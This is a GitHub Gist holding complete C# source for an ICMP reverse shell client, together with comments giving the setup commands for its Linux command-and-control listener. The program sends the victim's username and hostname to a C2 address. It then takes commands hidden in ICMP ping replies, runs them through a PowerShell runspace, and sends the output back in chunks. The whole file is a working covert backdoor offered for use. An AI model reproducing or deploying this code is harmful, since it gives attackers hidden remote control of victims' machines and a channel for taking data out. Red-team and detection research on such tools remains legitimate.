Created
August 13, 2018 10:30
-
-
Save 3xocyte/8e6f7cd24b26a09e844f0eac423bb34a to your computer and use it in GitHub Desktop.
ICMP reverse shell (icmpsh compatible)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Text; | |
using System.Net.NetworkInformation; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Threading; | |
using System.Collections.ObjectModel; | |
// .NET ICMP reverse shell client with PowerShell runspace by @3xocyte | |
// based on: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1 | |
// C2 code: https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py | |
// run on Linux with icmpsh_m.py: | |
// # sysctl -w net.ipv4.icmp_echo_ignore_all=1 | |
// # python icmpsh_m.py <server IP> <client IP> | |
namespace icmpshellcs | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
if (args.Length == 0) | |
{ | |
Console.WriteLine("[!] C2 IP address required"); | |
Environment.Exit(1); | |
} | |
string who = args[0]; | |
int bufferSize = 128; | |
// establish connection | |
Ping icmpClient = new Ping(); | |
PingOptions pingOpts = new PingOptions(); | |
pingOpts.DontFragment = true; | |
string connectString = ("Running as " + Environment.GetEnvironmentVariable("username") + " on " + Environment.GetEnvironmentVariable("computername")); | |
byte[] connectBytes = Encoding.ASCII.GetBytes(connectString); | |
icmpClient.Send(who, 60 * 1000, connectBytes, pingOpts); | |
// show a command prompt | |
string promptString = ("\nPS " + Directory.GetCurrentDirectory() + "> "); | |
byte[] promptBytes = Encoding.ASCII.GetBytes(promptString); | |
icmpClient.Send(who, 60 * 1000, promptBytes, pingOpts); | |
while (true) | |
{ | |
string sendString = ""; | |
byte[] sendBytes = Encoding.ASCII.GetBytes(sendString); | |
PingReply reply = icmpClient.Send(who, 60 * 1000, sendBytes, pingOpts); | |
if (reply.Buffer.Length > 0) | |
{ | |
string response = Encoding.ASCII.GetString(reply.Buffer); | |
string result = Pshell.RunPSCommand(response); | |
byte[] returnBytes = Encoding.ASCII.GetBytes(result); | |
decimal index = Math.Floor((decimal)returnBytes.Length / bufferSize); | |
int i = 0; | |
// split command output into smaller buffers to send to the C2 | |
if (returnBytes.Length > bufferSize) | |
{ | |
while (i < index) | |
{ | |
byte[] byteChunk = new byte[bufferSize]; | |
Array.Copy(returnBytes, i * bufferSize, byteChunk, 0, bufferSize); | |
icmpClient.Send(who, 60 * 10000, byteChunk, pingOpts); | |
i++; | |
} | |
int remainingIndex = returnBytes.Length % bufferSize; | |
if (remainingIndex != 0) | |
{ | |
byte[] byteChunk = new byte[remainingIndex]; | |
Array.Copy(returnBytes, i * bufferSize, byteChunk, 0, remainingIndex); | |
icmpClient.Send(who, 60 * 10000, byteChunk, pingOpts); | |
} | |
} | |
else | |
{ | |
icmpClient.Send(who, 60 * 10000, returnBytes, pingOpts); | |
} | |
icmpClient.Send(who, 60 * 1000, promptBytes, pingOpts); | |
} | |
else | |
{ | |
Thread.Sleep(2000); | |
} | |
} | |
} | |
// this code shows up in a bunch of Casey Smith's scripts (MSBuild AppLocker bypass, etc), available on various backups | |
//Requires adding ref to System.Management.Automation.dll | |
public class Pshell | |
{ | |
//Based on Jared Atkinson's And Justin Warner's Work | |
public static string RunPSCommand(string cmd) | |
{ | |
try | |
{ | |
//Init stuff | |
Runspace runspace = RunspaceFactory.CreateRunspace(); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
//Add commands | |
pipeline.Commands.AddScript(cmd); | |
//Prep PS for string output and invoke | |
pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
runspace.Close(); | |
//Convert records to strings | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.Append(obj); | |
} | |
return stringBuilder.ToString().Trim(); | |
} | |
catch | |
{ | |
string fail = "Failed"; | |
return fail; | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment